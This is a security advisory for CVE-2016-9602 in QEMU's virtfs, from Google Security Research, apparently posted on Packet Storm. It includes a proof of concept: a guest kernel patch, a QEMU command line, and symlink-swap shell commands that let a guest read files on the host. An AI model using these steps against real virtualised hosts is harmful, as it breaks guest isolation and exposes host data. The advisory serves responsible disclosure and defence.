what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

QEMU Host Filesystem Arbitrary Access

QEMU Host Filesystem Arbitrary Access
Posted Feb 18, 2017
Authored by Jann Horn, Google Security Research

QEMU has an issue where virtfs permits a guest to access the entire host filesystem.

tags | advisory
advisories | CVE-2016-9602
SHA-256 | 8afb47007c79b3a9ac847f6e9b076ad790c162d53fdddf920e2a3d557b2daeb1

QEMU Host Filesystem Arbitrary Access

Change Mirror Download
 QEMU: virtfs permits guest to access entire host filesystem 

CVE-2016-9602


If an attacker can execute arbitrary code in the guest kernel and a virtfs is set up, the attacker can access the entire filesystem of the host using a symlink attack. This might require the security model "passthrough" or "none" - I haven't tested with the mapped modes.


Repro steps:

1. Place some file on the host that is not present in the guest - I use a file "real_root_marker" in the root directory of the host:

# echo "this is the host's filesystem root" > /real_root_marker

2. Clone the Linux kernel, apply the following patch and compile it:

diff --git a/fs/9p/vfs_inode.c b/fs/9p/vfs_inode.c
index 30ca770..d6e47df 100644
--- a/fs/9p/vfs_inode.c
+++ b/fs/9p/vfs_inode.c
@@ -803,6 +803,8 @@ struct dentry *v9fs_vfs_lookup(struct inode *dir, struct dentry *dentry,
return ERR_CAST(dfid);

name = (char *) dentry->d_name.name;
+ if (!strncmp(name, "SAME_", 5))
+ name = name + 5;
fid = p9_client_walk(dfid, 1, &name, 1);
if (IS_ERR(fid)) {
if (fid == ERR_PTR(-ENOENT)) {

3. Run qemu, with the patched kernel as guest kernel and with at least one virtfs filesystem. I'm using the following commandline, but that's somewhat specific to my setup - anything with a virtfs in passthrough/none mode should work as far as I can tell:

/path/to/qemu/x86_64-softmmu/qemu-system-x86_64 -m 500M -enable-kvm -nographic \
-snapshot \
-drive file=build/initfs.fsimg,index=0,media=disk \
-virtfs local,path=./vm_root,mount_tag=virt_root,security_model=passthrough \
-kernel ./vm_root/root/linux/arch/x86/boot/bzImage \
-net user,net=192.168.0.0/24,host=192.168.0.2,restrict=off,dns=192.168.0.3,hostfwd=tcp:127.0.0.1:2222-:22 \
-net nic \
-append "root=/dev/sda ro debug ignore_loglevel console=ttyS0"

4. Inside the VM, mount the virtfs.
5. Somewhere inside the virtfs mountpoint, do this:

root@jannh-vm:/tmp# cat /real_root_marker
cat: /real_root_marker: No such file or directory
root@jannh-vm:/tmp# mkdir deleteme
root@jannh-vm:/tmp# cd SAME_deleteme
root@jannh-vm:/tmp/SAME_deleteme# rmdir /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# ln -s / /tmp/deleteme
root@jannh-vm:/tmp/SAME_deleteme# cat real_root_marker
this is the host's filesystem root

I tested with a recent qemu version from git://git.qemu-project.org/qemu.git (commit <a href="https://crrev.com/a92f7fe5a82ac9e8d127e92c5dce1a84064126da" title="" class="" rel="nofollow">a92f7fe5a82ac9e8d127e92c5dce1a84064126da</a>).


I believe that this is a security issue because according to the qemu manpage, virtfs only exposes the specified directory, while actually, it is possible to access the entire host filesystem.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.



Found by: jannh

Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    47 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close